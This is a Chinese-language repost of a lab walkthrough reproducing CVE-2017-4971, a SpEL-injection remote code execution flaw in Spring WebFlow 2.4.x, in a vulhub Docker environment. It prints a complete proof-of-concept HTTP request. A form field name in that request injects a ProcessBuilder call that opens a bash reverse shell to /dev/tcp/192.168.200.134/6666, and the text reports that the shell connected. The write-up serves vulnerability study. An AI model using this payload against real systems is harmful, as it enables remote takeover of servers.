脚本宝典收集整理的这篇文章主要介绍了Spring WebFlow 远程代码执行漏洞,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971)
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SPEL表达式注入漏洞,最终造成任意命令执行。
漏洞环境
我们先下载环境,在gIThub有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.COM/vulhub/vulhub.git cd vulhub/spring/CVE-2017-4971/ docker-compose up -d
访问ip:8080/即可看到界面。
影响版本
Spring Web Flow 2.4.0 – 2.4.4
漏洞复现
登陆后访问IP:8080/hotels/1
点击Book hotel后填写信息
填写完信息点击proceed,就到了能触发漏洞的页面了
点击Confirm抓包,POC为
POST /hotels/booking?execution=e16s2 HTTP/1.1 Host: 192.168.200.23:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/htML,application/xhtml+XMl,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-tW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 169 Origin: http://192.168.200.23:8080 Connection: close Referer: http://192.168.200.23:8080/hotels/booking?execution=e16s2 Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=FFA9517B0907812061E9E18C01E163fc Upgrade-insecure-Requests: 1 _eventId_confirm=&_csrf=4051e30d-a9fc-48c0-92c9-989875d07d7c&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.200.134/6666+0>%261")).start()=EDI
POC中的execution为商品id请改成自己的别直接用该数据包
执行后查看监听发现反弹shell执行成功
以上是脚本宝典为你收集整理的Spring WebFlow 远程代码执行漏洞全部内容,希望文章能够帮你解决Spring WebFlow 远程代码执行漏洞所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。